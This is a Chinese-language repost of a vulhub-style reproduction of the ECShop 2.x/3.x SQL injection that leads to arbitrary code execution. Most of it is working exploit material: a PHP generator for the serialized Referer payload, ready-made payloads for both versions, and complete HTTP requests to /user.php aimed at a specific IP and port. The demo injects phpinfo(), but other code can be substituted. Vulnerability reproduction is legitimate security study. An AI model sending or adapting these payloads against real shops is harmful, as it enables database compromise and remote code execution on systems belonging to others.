ECShop 2.x/3.x SQL注入/任意代码执行漏洞

Posted 黑白之道

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ECShop 2.x/3.x SQL注入/任意代码执行漏洞相关的知识,希望对你有一定的参考价值。


ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于php语言及mysql数据库构架开发的跨平台开源程序。


其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。

生成2.x和3.x的POC


  1. <?php

  2. $shell = bin2hex("{$asd'];phpinfo ();//}xxx");

  3. $id = "-1' UNION/*";

  4. $arr = [

  5.     "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),

  6.     "id" => $id

  7. ];


  8. $s = serialize($arr);


  9. $hash3 = '45ea207d7a2b68c49582d2d22adf953a';

  10. $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';


  11. echo "POC for ECShop 2.x: ";

  12. echo "{$hash2}ads|{$s}{$hash2}";

  13. echo " POC for ECShop 3.x: ";

  14. echo "{$hash3}ads|{$s}{$hash3}";


2.x poc


  1. 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca



3.x poc


  1. 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a



2.x 生成的POC,放在Referer里发送:


  1. GET /user.php HTTP/1.1

  2. Host: 188.40.189.134:8080

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

  4. Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8

  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

  6. Accept-Encoding: gzip, deflate

  7. Connection: close

  8. Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

  9. Cookie: has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; ECS[visit_times]=1

  10. Upgrade-Insecure-Requests: 1



ECShop 2.x/3.x SQL注入/任意代码执行漏洞


3.x生成poc,放在Referer里发送:


  1. GET /user.php HTTP/1.1

  2. Host: 188.40.189.134:8081

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

  4. Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8

  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

  6. Accept-Encoding: gzip, deflate

  7. Connection: close

  8. Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

  9. Cookie: has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; ECS[visit_times]=2

  10. Upgrade-Insecure-Requests: 1



ECShop 2.x/3.x SQL注入/任意代码执行漏洞

ECShop 2.x/3.x SQL注入/任意代码执行漏洞


推荐文章++++

ECShop 2.x/3.x SQL注入/任意代码执行漏洞

*

*

*


以上是关于ECShop 2.x/3.x SQL注入/任意代码执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600

ecshop 2.x 3.x sql injection/rce payload

Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析

ecshop SQL注入漏洞修复 支付漏洞修复

关于ECSHOP中sql注入漏洞修复

关于ECSHOP中sql注入漏洞修复